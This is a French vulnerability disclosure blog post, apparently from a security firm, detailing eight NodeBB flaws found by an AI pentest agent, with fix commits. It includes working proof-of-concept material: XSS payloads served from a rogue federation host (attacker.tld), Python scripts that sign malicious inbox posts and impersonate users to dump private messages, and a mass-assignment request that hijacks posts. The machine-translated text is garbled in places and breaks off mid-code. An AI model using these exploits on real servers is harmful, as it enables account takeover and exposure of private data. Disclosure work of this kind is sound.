TL;DR
- Les versions de NodeBB antérieures à la version 4.14.0 comportent plusieurs vulnérabilités de gravité élevée.
- Effectuez la mise à jour vers des versions plus récentes pour corriger ces failles de sécurité
- Aikido automatiquement les instances vulnérables
Dans le cadre de l'amélioration de notre test d'intrusion basé sur l'IA, nous avons mené une évaluation en boîte blanche sur NodeBB, un logiciel de forum fonctionnant sous NodeJS. Le résultat ? Huit vulnérabilités de gravité élevée, toutes exploitables sur des instances par défaut de NodeBB. Parmi celles-ci figurent cross-site scripting, dont deux nécessitent une interaction avec un serveur de fédération personnalisé que l'agent IA a dû configurer lui-même. Une autre affecte pratiquement toutes les entrées de données sur NodeBB en raison d'une injection de modèle.
Outre ces problèmes, des failles permettant de contourner habilement les autorisations ont été identifiées, permettant ainsi de détourner et de consulter diverses données qui n'auraient pas dû être rendues publiques. Nous avons détaillé ci-dessous tous les aspects techniques intéressants.
Ce qui est intéressant avec ces tests d'intrusion autonomes, c'est qu'ils permettent de mener à bien les tests en quelques heures seulement. Les agents ont proposé des idées, ont parcouru le code et ont effectué des tests rigoureux sur l'application réelle afin de rendre compte de résultats concrets. Les tests d'intrusion menés par des humains prennent souvent beaucoup plus de temps, car ils ne peuvent pas multiplier leurs efforts aussi facilement.
Après avoir découvert ces failles, nous avons rapidement transmis un rapport aux responsables de NodeBB, qui ont réagi très rapidement et se sont immédiatement attelés à la mise en place de correctifs. Les problèmes ont été résolus début juillet.
Nous allons aborder les détails techniques de ces vulnérabilités, en commençant par quelques failles XSS.
Vulnérabilité de type « Cross-Site Scripting » dans l'icône du profil personnalisé du serveur de fédération
On est ici loin d'une simple injection XSS réfléchie classique, car cela nécessite la mise en place d'un serveur entièrement personnalisé pour renvoyer une charge utile XSS malveillante. Néanmoins, les agents que nous employons sont d'excellents programmeurs ; ils analysent donc sans peine les mécanismes d'indirection et développent des serveurs personnalisés pour tester tout type de découverte.
Tout commence par helpers.common.js, qui contient un nombre assez important de concaténations HTML susceptibles de susciter des soupçons. Celle sur laquelle nous allons nous concentrer est la suivante :
function buildMetaTag(tag) {
const name = tag.name ? 'name="' + tag.name + '" ' : '';
const property = tag.property ? 'property="' + tag.property + '" ' : '';
const content = tag.content ? 'content="' + tag.content.replace(/\n/g, ' ') + '" ' : '';
return '<meta ' + name + property + content + '/>\n\t';
}Dans les header.tpl, chacun balises méta L'élément est affiché à l'aide de la fonction ci-dessus :
{{{each metaTags}}}{function.buildMetaTag}{{{end}}}
Les données utilisateur sont transmises à res.locals directement ici :
if (userData.picture) {
res.locals.metaTags.push(
{
property: 'og:image',
content: userData.picture,
noEscape: true,
},
{
property: 'og:image:url',
content: userData.picture,
noEscape: true,
}
);
}Alors que d'autres propriétés telles que userData.fullname sont pré-échappés par conversion " caractères en ", l'autre bien immobilier userData.picture n'est pas (voir accounts/helpers.js). L'URL de .image est un fichier mis en ligne par un utilisateur qui pointe généralement vers une chaîne de caractères sûre, telle que :/assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png
Ainsi, même si cette valeur n'est pas correctement échappée comme la nom complet, comment faire pour le manipuler de manière à ce qu’il renvoie une chaîne malveillante contenant ">?
L'astuce réside dans le fait que cette URL peut être définie de manière arbitraire lorsqu'on a affaire à des profils fédérés. Le concept de fédération consiste ici à interagir avec un réseau décentralisé d'autres instances disposant de leurs propres utilisateurs et sujets. Les données sont copiées pratiquement à l'identique ; ainsi, si nous parvenons à renvoyer des données malveillantes via une URL qui échappe à la syntaxe HTML entre guillemets, nous avons réussi.
Nous devrons créer un serveur de fédération personnalisé qui réponde à /.well-known/webfinger en faisant référence à l'utilisateur XSS, puis renvoyer notre charge utile XSS en tant que icon.url là :
/.well-known/webfinger?resource=acct:xss@attacker.tld:
{
"links": [
{
"href": "https://attacker.tld/ap/actor/xss",
"rel": "self",
"type": "application/activity+json"
}
],
"subject": "acct:xss@attacker.tld"
}/ap/acteur/xss:
{
"@context": [
"https://www.w3.org/ns/activitystreams",
"https://w3id.org/security/v1"
],
"icon": {
"mediaType": "image/jpeg",
"type": "Image",
"url": "\"><img src onerror=\"alert(origin)\">"
},
"id": "https://attacker.tld/ap/actor/xss",
"inbox": "https://attacker.tld/ap/inbox/xss",
"preferredUsername": "xss",
"publicKey": {
"id": "https://attacker.tld/ap/actor/xss#main-key",
"owner": "https://attacker.tld/ap/actor/xss",
"publicKeyPem": "dummy"
},
"type": "Person"
}Ce serveur étant à l'écoute sur attacker.tld, il suffit à la victime de rechercher un utilisateur sur le domaine malveillant ou de cliquer directement sur un lien menant à celui-ci :
https://nodebb.local/user/xss@attacker.tld
Le backend récupère attacker.tld le xss utilisateur sur /.well-known/webfinger, qui fait référence à /ap/acteur/xss. Cette requête est traitée, ce qui renvoie la charge utile XSS, qui est directement affichée dans le <meta> balise. Avec le "><img> charge utile, cela permet de contourner les restrictions HTML et de déclencher un alerte(origine) fenêtre contextuelle avec JavaScript :

Ce problème a été résolu (4c4bf76) en appliquant également l'échappement aux informations provenant de sources fédérées.
Erreurs de « Cross-Site Scripting » dans la fédération – Vue administrateur
Nous allons poursuivre sur la lancée de Federation, puisqu’une nouvelle vulnérabilité XSS a été découverte dans le journal d’erreurs destiné aux administrateurs. Il convient de noter que, bien que seuls les administrateurs puissent consulter ces journaux, n’importe quel attaquant non authentifié peut y injecter une charge utile. L’exploitation de cette faille nécessitait une configuration encore plus complexe de la part de l’attaquant que pour la précédente vulnérabilité XSS, mais les agents ont tout de même réussi à la contourner.
L'évier est simple. À l'intérieur erreurs.tpl, le {./id} La variable est intégrée dans le code HTML.
<code>{./id}</code>
Bien que cela ne pose pas de problème pour la plupart des configurations de modèles, dans NodeBB, la fonctionnalité d'échappement automatique pour Benchpress est explicitement désactivée ici en la remplaçant par une fonction d'identité :
__escape: identity,
};
function identity(str) {
return str;
}NodeBB repose sur l'échappement manuel des variables transmises aux modèles. L'un des endroits où cette opération est souvent oubliée est le id des erreurs de fédération. Et comment provoquer une telle erreur, vous demandez-vous peut-être ? En créant un autre serveur de fédération personnalisé, bien sûr, mais cette fois-ci, un peu défectueux.
Nous allons tout d'abord configurer un serveur comme précédemment, mais surtout, générer et mettre à disposition une clé publique pour la signature des messages.
/acteur:
{
"@context": "https://www.w3.org/ns/activitystreams",
"id": "https://attacker.tld/actor",
"type": "Person",
"preferredUsername": "evil",
"inbox": "https://attacker.tld/inbox",
"publicKey": {
"id": "https://attacker.tld/actor#main-key",
"owner": "https://attacker.tld/actor",
"publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\n2wIDAQAB\n-----END PUBLIC KEY-----\n"
}
}Ajoutez ensuite un /.well-known/webfinger point de terminaison comme précédemment, qui renvoie n'importe quel compte :
/.well-known/webfinger?resource=acct%3Aevil%40attacker.tld:
{
"subject": "acct:evil@attacker.tld",
"links": [
{
"rel": "self",
"type": "application/activity+json",
"href": "https://attacker.tld/actor"
}
]
}Maintenant que nous disposons d'un serveur à attacker.tld À l'aide d'une clé que nous connaissons, nous pouvons envoyer des mises à jour NodeBB via le /boîte de réception chemin. Chaque type que nous envoyons est gérée par une fonction spécifique dans inbox.js. Le middleware vérifie une signature à l'aide de ActivityPub.verify, qui consiste essentiellement à extraire un ensemble d'attributs de la requête et à vérifier qu'ils sont signés par la clé publique du serveur de fédération. Nous avons mis en place notre propre serveur, donc cette partie est désormais simple.
Pour déclencher une erreur, on peut prendre la première dans mise à jour de la boîte de réception:
inbox.update = async (req) => {
const { actor, object } = req.body;
const isPublic = publiclyAddressed([...(object.to || []), ...(object.cc || [])]);
// Origin checking
const actorHostname = new URL(actor).hostname;
const objectHostname = new URL(object.id).hostname;
if (actorHostname !== objectHostname) {
throw new Error('[[error:activitypub.origin-mismatch]]');
}[[erreur : activitypub.origin-mismatch]] cela se produit lorsque le acteur et object.id de notre demande ne correspondent pas. On peut facilement les falsifier.
Il est important de noter que le id Les données que nous fournissons seront enregistrées avec l'erreur et, comme nous l'avons vu, s'affichent de manière non sécurisée au format HTML dans le panneau d'administration. Par conséquent, nous allons y insérer une charge utile XSS telle que <img src onerror=alert(origin)>.
Voici à quoi ressemble le script final :
# Craft payload
payload = {
'@context': 'https://www.w3.org/ns/activitystreams',
'id': '<img src onerror=alert(origin)>',
'type': 'Update',
'actor': f'https://attacker.tld/actor',
'object': {
# Different origin than actor to trigger an error path
'id': 'https://nodebb.local/post/1',
'type': 'Note'
},
'to': ['https://www.w3.org/ns/activitystreams#Public']
}
# Build signature
key_id = f'https://attacker.tld/actor#main-key'
inbox_url = 'https://nodebb.local/inbox'
u = urlparse(inbox_url)
date = datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
signed = f'(request-target): post {u.path}\nhost: {u.netloc}\ndate: {date}'
sig = base64.b64encode(priv.sign(signed.encode(), padding.PKCS1v15(), hashes.SHA256())).decode()
headers = {
'Host': u.netloc,
'Date': date,
'Signature': f'keyId="{key_id}",headers="(request-target) host date",signature="{sig}",algorithm="hs2019"',
'Accept': 'application/activity+json',
'Content-Type': 'application/ld+json;profile="https://www.w3.org/ns/activitystreams"',
}
# Send request
r = requests.post(inbox_url, headers=headers, data=json.dumps(payload), timeout=30, verify=False)
print('Status:', r.status_code)
print(r.text[:200])Après l'envoi de cette charge utile, celle-ci devrait se connecter au serveur personnalisé de l'attaquant pour vérifier la signature, puis à l'acteur référencé. Étant donné que les origines de acteur et object.id Si les données de la charge utile diffèrent, une erreur est générée et une entrée est créée dans la page « Erreurs de fédération » du panneau d'administration.
Lorsqu'un administrateur se rend désormais sur cette page pour vérifier s'il y a des erreurs, une fenêtre d'alerte JavaScript s'affiche, car notre code malveillant <img> La balise a été interprétée comme du véritable code HTML entre les balises <code>:

À partir de là, un pirate peut prendre le contrôle de l'ensemble de l'instance NodeBB, car JavaScript permet de forcer un administrateur à effectuer n'importe quelle action.
Ce problème a été résolu (16bda6b) en appliquant un échappement à tous les champs affichés dans la section « Erreurs de fédération ».
Exécution de scripts intersites via l'injection dans un modèle de traduction
La dernière vulnérabilité XSS découverte était elle aussi intéressante. Elle est liée à la manière dont les modèles sont rendus. Pour renvoyer un corps de message, NodeBB suit essentiellement ces deux étapes (définies dans render.js) :
- Générer le modèle « Benchpress » avec des variables d'entrée (syntaxe :
{...}) - Interpréter les clés de traduction (syntaxe :
[[...]])
function renderContent(render, tpl, req, res, options) {
return new Promise((resolve, reject) => {
render.call(res, tpl, options, async (err, str) => {
if (err) reject(err);
else resolve(await translate(str, getLang(req, res)));
});
});
}
Nous avons déjà vu, dans la vulnérabilité précédente, ce qui peut mal tourner avec Benchpress. Nous allons maintenant nous concentrer sur le trans() fonction, qui se produit de manière décisive après notre contenu est intégré au modèle.
La vulnérabilité commence déjà ici. En effet, notre entrée s’est déjà frayé un chemin jusqu’à str au moment où le code sera compilé, si nous pouvons écrire la même chose [[...]] syntaxe, elle serait interprétée. [ ou ] ne sont pas considérés comme des caractères spéciaux par escapeCharMap à l'intérieur utils.common.js, uniquement &<>"'`= sont.
En fait, chaque page affiche l'URL dans un <meta property="og:url"> propriété. Nous pouvons insérer une clé de traduction dans cette propriété même pour voir le résultat. Les clés de traduction sont stockées par espace de noms, par exemple, topic.json contient « signaler-utilisateur » : « Signaler cet utilisateur ». Si l'on se réfère à cela :
https://nodebb.local/test[[topic:flag-user]]
<meta property="og:url" content="https://nodebb.local/testFlag this user" />
Il a été interprété avec succès. Certains messages sont plus complexes et contiennent marqueurs de position avec %1 et %2, que l'on peut contrôler à l'aide d'arguments séparés par des virgules. Par exemple :
"merged-message": "This topic has been merged into <a href=\"%1\">%2</a>"
Il va se passer quelque chose d'intéressant, car la traduction contient " (pour définir le href), alors que le contexte dans lequel nous l'insérons n'est pas du texte, mais une méta content= attribut, en utilisant également des guillemets doubles pour encadrer sa valeur.
https://nodebb.local/test[[topic:merged-message,A,B]]
<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="A">B</a>" />
Grâce à la coloration syntaxique, vous pouvez voir que ce qui était auparavant le guillemet d'ouverture de href=, est désormais le cours de clôture de content=. Cela signifie commencer par notre A, nous sommes dans un contexte de définition d'attributs et pouvons ajouter n'importe quel attribut à cette balise !
Cependant, si l'on se contente de remplacer A avec onerror=alert(), on assiste à un spectacle triste :
<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="onerror=alert()">B</a>" />Bien que l'attribut semble être transmis, le signe égal (=) est devenu =. Tu te souviens ? Dans escapeCharMap, le signe égal est considéré comme un caractère spécial et est toujours échappé en HTML dans la sortie. Par conséquent, nous ne pouvons pas ajouter valeurs aux attributs permettant de transformer cette injection en XSS.
Tout espoir n'est toutefois pas perdu, puisque le modèle que nous avons utilisé, message fusionné, place notre premier paramètre (A) directement dans le href= de ceci <a> balise. En utilisant une javascript : Avec l'URI, il est toujours possible d'exécuter du code JavaScript arbitraire au clic. Il suffit de le faire après notre première escape l'attribut en ajoutant une autre balise de modèle :
https://nodebb.local/test[[topic:merged-message,A,B]][[topic:merged-message,javascript:alert(origin),CLICK%20ME]]
<meta property="og:url" content="http://4.245.3.4:4567/testThis topic has been merged into <a href="A">B</a>This topic has been merged into <a href="alert(origin)">CLICK%20ME</a>" />D'un point de vue visuel, la page comporte désormais un en-tête contenant le texte CLIQUEZ ICI. Lorsque l'on clique dessus, le code JavaScript s'exécute et alerte(origine) est représenté comme suit :

Nous venons de valider le PoC sur l'élément le plus simple à tester : l'URL elle-même. Mais cela fonctionne avec n'importe quelle sortie générée par NodeBB. Dans l'URL, nous sommes limités aux caractères encodés selon le format URL, tels que %20. Dans la section réservée aux administrateurs /flags?quick= point de terminaison, la valeur de rapide apparaît également, mais il est décodé à partir de l'URL !
Pour finaliser le PoC, nous pouvons le rendre plus réaliste en utilisant des emojis qui ressemblent à des icônes officielles, et en invitant l'utilisateur à effectuer une mise à jour à l'aide d'un message « ⚠️ Mise à jour requise » :
https://nodebb.local/flags?quick=]][[topic:merged-message,javascript:alert(origin),%E2%9A%A0%EF%B8%8FUpdate%20required
<span class="filter-label">filter-quick-This topic has been merged into <a href="javascript:alert(origin)">⚠️Update required</a></span>

Une fois encore, cliquer sur le bouton déclenchait l'exécution d'un code JavaScript arbitraire. Il s'agissait de la preuve de concept initiale utilisée par l'agent pour signaler le problème.
La charge utile peut même être stockée dans des messages sur NodeBB, ce qui permet de la partager facilement avec d'autres utilisateurs. Le problème sous-jacent réside dans le fait que tout le contenu affiché passe par une étape de traduction au cours de laquelle les saisies des utilisateurs peuvent utiliser la même syntaxe.
La résolution de ce problème s'est avérée plus complexe. Comme nous l'avons vu, il s'agit davantage d'un problème de conception que d'un bug spécifique. En effet, les traductions s'effectuent toujours après le rendu du modèle, et les caractères de traduction sont autorisés dans le modèle.
La solution la plus simple consisterait àescape [ et ] caractères afin de s'assurer qu'ils ne soient pas interprétés comme des traductions. Mais il s'avère que certaines fonctionnalités/certains plugins, en réalité, require pouvoir générer des séquences de traduction à partir de variables de modèle. Cela constituerait une modification entraînant une incompatibilité.
Dans le cadre de la correction initiale, NodeBB a tenté escape manuellement escape endroit où les données saisies par l'utilisateur apparaissent avec translator.escape(). Cela n'est toutefois pas complet, c'est pourquoi ils ont ajouté beaucoup de travail pour refactoriser le système de traduction afin qu'il peut être automatiquement échappées, et corriger les fonctionnalités/plugins afin qu'ils gèrent correctement ce changement rompant la compatibilité. Cette modification est désormais implémentée dans la version 4.14.0.
À titre de mesure de sécurité supplémentaire, le code HTML généré par les fonctions de traduction est désormais également aseptisé, de sorte que même si un attaquant contrôle le texte, il ne puisse pas écrire javascript : hrefs.
Contourner le middleware d'autorisation administrateur à l'aide d'une page d'accueil personnalisée
C'est une astuce simple mais ingénieuse. Si l'on examine le middleware de NodeBB, on trouve cet extrait de code chargé de gérer l'autorisation pour /admin itinéraires à l'intérieur middleware/admin.js:
middleware.checkPrivileges = helpers.try(async (req, res, next) => {
// Kick out guests, obviously
if (req.uid <= 0) {
return controllers.helpers.notAllowed(req, res);
}
// Otherwise, check for privilege based on page (if not in mapping, deny access)
const path = req.path.replace(/^(\/api)?(\/v3)?\/admin\/?/g, '');
if (path) {
const privilege = privileges.admin.resolve(path);
if (!await privileges.admin.can(privilege, req.uid)) {
return controllers.helpers.notAllowed(req, res);
}
} else {
// If accessing /admin, check for any valid admin privs
const privilegeSet = await privileges.admin.get(req.uid);
if (!Object.values(privilegeSet).some(Boolean)) {
return controllers.helpers.notAllowed(req, res);
}
}À première vue, tout semble correct. Si privileged.admin.get() s'il ne renvoie rien, l'accès vous est refusé. Le point essentiel est que ce middleware est enregistré pour le /admin itinéraire avant de Gestion des réécritures personnalisées de la page d'accueil dans routes/index.js:
router.all(`(/+api/admin|/+api/admin/*?${mounts.admin !== 'admin' ? `|/+api/${mounts.admin}|/+api/${mounts.admin}/*?` : ''})`, middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges);
router.all(`(/+admin|/+admin/*?${mounts.admin !== 'admin' ? `|/+${mounts.admin}|/+${mounts.admin}/*?` : ''})`, middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges);
// handle custom homepage routes
router.use('/', controllers.home.rewrite);Chaque utilisateur peut, grâce à cette fonctionnalité, configurer la redirection de sa page d'accueil vers une autre URL. Cette fonctionnalité est mise en œuvre par un autre middleware déclenché lors de /. En interne, cela définit req.url pour refléter la valeur configurée :
async function rewrite(req, res, next) { if (req.path !== '/' && req.path !== '/api/' && req.path !== '/api') {
return next();
}
...
route = await getUserHomeRoute(req.uid, next); parsedUrl = new URL(route, 'http://localhost.com'); const pathname = parsedUrl.pathname.replace(/^\/+/, ''); req.url = req.path + (!req.path.endsWith('/') ? '/' : '') + pathname; ... next(); est appelé pour continuer à rechercher l'itinéraire réel, mais cela est désormais après Les vérifications du chemin d'accès à l'administration ont déjà été effectuées.
suivant()
Cela signifie que si vous définissez votre page d'accueil personnalisée sur /admin, vous verrez le tableau de bord d'administration, même en tant que simple membre. Aucun accès administrateur n'est nécessaire.
La seule chose qui nous « bloque », c'est un bout de code côté client qui récupère la valeur configurée lorsque vous essayez de l'enregistrer, avant d'envoyer effectivement les paramètres au serveur :
$.get(config.relative_path + '/' + settings.homePageCustom, function () {
saveSettings(settings);
}).fail(function () {
alerts.error('[[error:invalid-home-page-route]]');
});Cette vérification peut être facilement contournée en envoyant directement un PUT /api/v3/users/:id/settings demande ou en utilisant un point d'arrêt dans le navigateur pour ignorer la vérification et appeler saveSettings() directement.
Après l'avoir réglé sur admin/avancé/cache, par exemple, on peut recharger le / page et découvrez toute une série d'informations internes destinées aux administrateurs :

Même les API sont accessibles via /api/admin, cependant, la plupart des API permettant de réellement édition les données transitent par /api/v3/admin. Il s'agit des routes « d'écriture », qui intègrent des vérifications de privilèges supplémentaires au sein du gestionnaire de chaque route. Elles ne sont donc pas vulnérables à cette attaque.
Cela entraîne néanmoins une exposition ou une modification importante des données :
GET /api/admin/users/csv: Exporter tous les utilisateurs au format CSV, s'il en existe. Les colonnes dépendent des choix effectués lors de la dernière exportation effectuée par l'administrateur.GET /api/admin/advanced/errors: Lire tous les journaux d'erreursPOST /api/admin/manage/categories: Ajouter la catégorie « À distance » à la liste de la barre latéralePOST /api/admin/uploadlogo: Mise à jour du logo du site
Ce problème a été résolu (9885f94) en modifiant l'ordre d'exécution du middleware afin que les vérifications d'autorisations aient lieu après la réécriture.
Usurpation d'identité pour lire des messages privés
Afin de communiquer avec d'autres réseaux sociaux, NodeBB met en œuvre ActivityPub, qui est un protocole permettant de partager des utilisateurs et du contenu entre différentes instances. La sécurité cryptographique est assurée en attribuant à chaque utilisateur une clé publique avec laquelle il peut signer ses actions. Dans les requêtes, un Signature : L'en-tête est ajouté avec des attributs tels que keyId et signature.
Le ActivityPub.verify La fonction les valide correctement :
ActivityPub.verify = async (req) => {
...
let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split(',').reduce((memo, cur) => {
const split = cur.split('="');
const key = split.shift();
const value = split.join('="');
memo[key] = value.slice(0, -1);
return memo;
}, {});
const signed_string = headers.split(' ').reduce((memo, cur) => {
... }, []).join('\n');
const publicKeyPem = await ActivityPub.fetchPublicKey(keyId);
return await verifyAsync('sha256', Buffer.from(signed_string), publicKeyPem, Buffer.from(signature, 'base64'));
Si l'on examine où cette fonction est utilisée, on ne voit que son emplacement dans le activitypub.js middleware ici :
middleware.verify = async function (req, res, next) {
// Verifies the HTTP Signature if present (required for POST)
const passthrough = [/\/actor/, /\/uid\/\d+/];
if (req.method === 'GET' && passthrough.some(regex => regex.test(req.path))) {
return next();
}
if (req.method === 'POST') {
const verified = await activitypub.verify(req); if (!verified) {
return res.sendStatus(400);
}
}
if (req.headers.signature) {
const keyId = req.headers.signature.split(',').filter(line => line.startsWith('keyId="'));
if (keyId.length) {
req.uid = keyId.shift().slice(7, -1).replace(/#.*$/, '');Il est intéressant de noter qu'il ne fonctionne que activitypub.verify(req) si le req.method === 'POST'! Pour une raison quelconque, la signature des requêtes GET n'est pas vérifiée. Quels points de terminaison pouvons-nous atteindre dans ce cas ?
Il n'y a en réalité qu'un seul point de terminaison qui utilise req.uid pour l'authentification, à savoir GET /message/:mid. Dans middleware/assert.js On peut y lire :
!(await messaging.canViewMessage(req.params.mid, roomId || req.params.roomId, req.uid))
Cet endpoint récupère les messages privés depuis req.params.mid:
Actors.message = async function (req, res) {
...
const messageObj = await messaging.getMessageFields(req.params.mid, []);
messageObj.content = await messaging.parse(messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false);
const payload = await activitypub.mocks.notes.private({ messageObj });
res.status(200).json(payload);
};Nous avons désormais une vue d'ensemble. Le Signature : L'en-tête n'est vérifié que pour les requêtes POST, donc le GET /message/:mid Le point de terminaison ne vérifie pas le keyId= attribut. Grâce à lui, nous pouvons usurper l'identité de n'importe qui et divulguer les identifiants de message incrémentiels un par un afin de compromettre totalement les discussions privées.
# Fetch all users
users = requests.get(f'{HOST}/api/users', timeout=10).json().get('users', [])
users = [(u['uid'], u.get('username', '?')) for u in users]
print(f'Found {len(users)} users')
# Fetch all message IDs for each user
for mid in tqdm(range(1, 80)):
for uid, name in users:
headers = {
'Accept': 'application/activity+json',
'Signature': f'keyId="{uid}"',
}
r = requests.get(f'{HOST}/message/{mid}', headers=headers, timeout=10)
if r.ok:
j = r.json()
content = j.get("content", "")[:80].strip()
tqdm.write(f'Impersonating {name} ({uid}) -> message {mid}: {content}')Ce problème a été résolu (f6b5cd8) en définissant simplement req.uid dans une branche de code où activitypub.verify() a déjà vérifié l'en-tête « Signature ».
Détournement de messages via l'affectation en masse de PID
Avec tous ces corps de requêtes au format JSON, vous risquez fort de rencontrer des bogues liés à l'affectation en masse ; c'est donc ce que l'agent a cherché ensuite. Si vous ne connaissez pas ce type de bogue, il s'agit d'ajouter des champs internes à votre requête afin de les écraser sans que l'application web ne le prévoie.
Cela se produit souvent lorsque l'intégralité du corps d'une requête est analysée et injectée dans la base de données. Existe-t-il des schémas de ce type dans cette base de code ?
Ici, dans le POST /api/v3/topics, on peut lire à la fin :
Topics.create = async (req, res) => {
const id = await lockPosting(req, '[[error:already-posting]]');
try {
const payload = await api.topics.create(req, req.body);Cela fait exactement ce que nous recherchons, en transmettant req.body dans topicsAPI.create(). Son implémentation appelle ensuite Créer des publications qui se fie à la valeur fournie data.pid:
const pid = data.pid || await db.incrObjectField('global', 'nextPid');
let postData = { pid, uid, tid, content, sourceContent, timestamp };Le pid Cette propriété correspond à l'identifiant de l'article (Post ID) ; il s'agit d'un identifiant unique qui permet de retrouver n'importe quel article à l'aide de ce numéro. Notez que cela diffère légèrement d'un sujet, car un sujet peut comporter plusieurs messages (réponses).
Le tout premier message publié sur n'importe quel forum NodeBB est toujours un message de bienvenue intitulé « Bienvenue sur votre forum NodeBB ! » rédigé par l'administrateur :

Son identifiant est toujours 1, et les nouveaux messages s'ajoutent à partir de là. Que se passerait-il si nous créions un new article qui contient également pid : 1? Essayons donc !
POST /api/v3/topics HTTP/1.1
Host: nodebb.local
x-csrf-token: 77a...65b
Cookie: express.sid=s%3A...
Content-Length: 133
Content-Type: application/json
{
"title": "title",
"content": "OVERWRITTEN BY ATTACKER",
"cid": 2,
"tags": [],
"thumbs": [],
"timestamp": 0,
"pid": 1
}Pour revenir sur le message de bienvenue :

On a pris le contrôle de l'article ! Mais le contenu ne semble pas encore avoir été mis à jour. Comme c'est désormais nous qui en sommes propriétaires, il suffit de le modifier rapidement et de le sauvegarder à nouveau pour que le contenu soit effectivement mis à jour :

L'URL reste la même, et toute personne qui reviendra sur cet article verra le nouveau contenu publié par l'attaquant. Associé à un compte sosie, cela peut s'avérer très efficace pour corrompre certains contenus, par exemple en remplaçant des commandes malveillantes dans un tutoriel.
Ce problème a été résolu (7f08fb9) en supprimant le pid propriété issue du corps de la requête, de sorte qu'elle ne peut plus écraser le champ interne.
Consulter toutes les catégories sans authentification
This might be the easiest vulnerability in this post. It can be summarized as one sentence: "/category/{cid}/outbox is missing authorization when ActivityPub accept header is set".
C'est vraiment aussi simple que ça. L'itinéraire /catégorie/:cid/boîte d'envoi est gérée par la fonction suivante, qui n'effectue pas de vérifications d'autorisation, mais renvoie tous les sujets d'une certaine catégorie (y compris les sujets privés), référencés par un numéro incrémental cid.
Controller.getCategoryOutbox = async (req, res) => {
const { cid } = req.params;
const { page } = req.query;
const set = `cid:${cid}:pids`;
const count = await db.sortedSetCard(set);
const collection = await activitypub.helpers.generateCollection({
set,
count,
page,
perPage: 20,
url: `${nconf.get('url')}/category/${cid}/outbox`,
});
...
res.status(200).json({
'@context': 'https://www.w3.org/ns/activitystreams',
...collection,
});
};
Une simple requête GET vers /category/2/outbox, accompagnée d'un en-tête Accept: application/activity+json pour activer ActivityPub, renvoie une liste non filtrée de toutes les publications associées à cet identifiant de catégorie. Voici une catégorie privée que nous avons créée et à laquelle seuls les administrateurs ont accès :

Sans authentification, les contenus suivants peuvent être consultés :
{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "OrderedCollection",
"totalItems": 2,
"orderedItems": [
{
"object": {
"object": {
...
"name": "secret content",
"url": "https://nodebb.local/post/2",
"content": "<p>SUPER SECRET CONTENT</p>\n"
}}},
{
"object": {
"object": {
...
"inReplyTo": "http://4.245.3.4:4567/post/2",
"name": "secret content",
"url": "https://nodebb.local/post/3",
"content": "<p>replies too!</p>\n"
}
Ce problème a été résolu (8e98325) en ajoutant un thèmes : lecture vérification des autorisations pour la route de la boîte d'envoi.
Inflation des votes positifs par un acteur non contrôlé
Cette dernière fonctionnalité est plutôt amusante, mais elle pourrait faire l'objet d'abus, notamment pour envoyer du spam ou manipuler les utilisateurs. L'un des agents a trouvé un moyen de « liker » une publication à l'infini ! (En parlant d'infini… Découvrez Aikido , pentest continu d'intrusion ! ;) )
Il existe deux façons d'apprécier une publication (« J'aime » dans ActivityPub) :
- Directement via
/boîte de réceptionou/uid/:uid/boîte de réception, vérifié à l'aide de l'identifiant de clé de signature - Intégré dans un message « Annonce » via
/catégorie/:cid/boîte de réception
Dans un tel message, vous fournissez un acteur qui désigne la personne ayant effectué l'action. Le middleware authentifie cet acteur à l'aide de l'en-tête « Signature » keyId, plus précisément le req.body.actor champ :
middleware.assertPayload = helpers.try(async function (req, res, next) {
...
let { actor } = req.body;
const { hostname } = new URL(actor);
const allowed = await activitypub.instances.isAllowed(hostname);
await activitypub.actors.assert(actor);
let compare = await db.getObjectsFields([
`userRemote:${actor}:keys`, `categoryRemote:${actor}:keys`,
], ['id']);
compare = compare.reduce(...).replace(/#[\w-]+$/, '');
if (compare !== keyId) {
return res.sendStatus(403);
}Cela fonctionne très bien pour le premier point de terminaison, car son acteur Cette propriété doit être vérifiée. Voici un exemple de message :
{
"id": "https://nodebb.local/uid/42#activity/like/3",
"type": "Like",
"actor": "https://nodebb.local/uid/42",
"to": ["https://www.w3.org/ns/activitystreams#Public"],
"cc": ["https://nodebb.local/uid/7"],
"object": "https://nodebb.local/post/3"
}Cependant, le format d'un message « Annonce » est différent : les « J'aime » acteur est intégré dans un objet:
{
"id": "https://nodebb.local/post/3#activity/announce/1717234567890",
"type": "Announce",
"actor": "https://nodebb.local/category/1",
"to": ["https://nodebb.local/category/1/followers"],
"cc": [
"https://nodebb.local/uid/42",
"https://www.w3.org/ns/activitystreams#Public"
],
"object": {
"id": "https://nodebb.local/uid/42#activity/like/3",
"type": "Like",
"actor": "https://nodebb.local/uid/42",
"to": ["https://www.w3.org/ns/activitystreams#Public"],
"cc": ["https://nodebb.local/uid/7"],
"object": "https://nodebb.local/post/3"
}
}Étant donné que les deux utilisent le même assertPayload middleware, la deuxième méthode utilisant le format « Announce » n'est pas vérifié. Le acteur Il peut s'agir de n'importe quelle chaîne de caractères aléatoire et unique qui servira à créer un nouvel utilisateur. Ici, le Comme le type d'objet est reconnu et utilise directement objet.acteur dans posts.upvote():
case object.type === 'Like': {
const id = object.object.id || object.object;
const { id: localId } = await activitypub.helpers.resolveLocalId(id);
const exists = await posts.exists(localId || id);
if (exists) {
try {
await activitypub.actors.assert(object.actor);
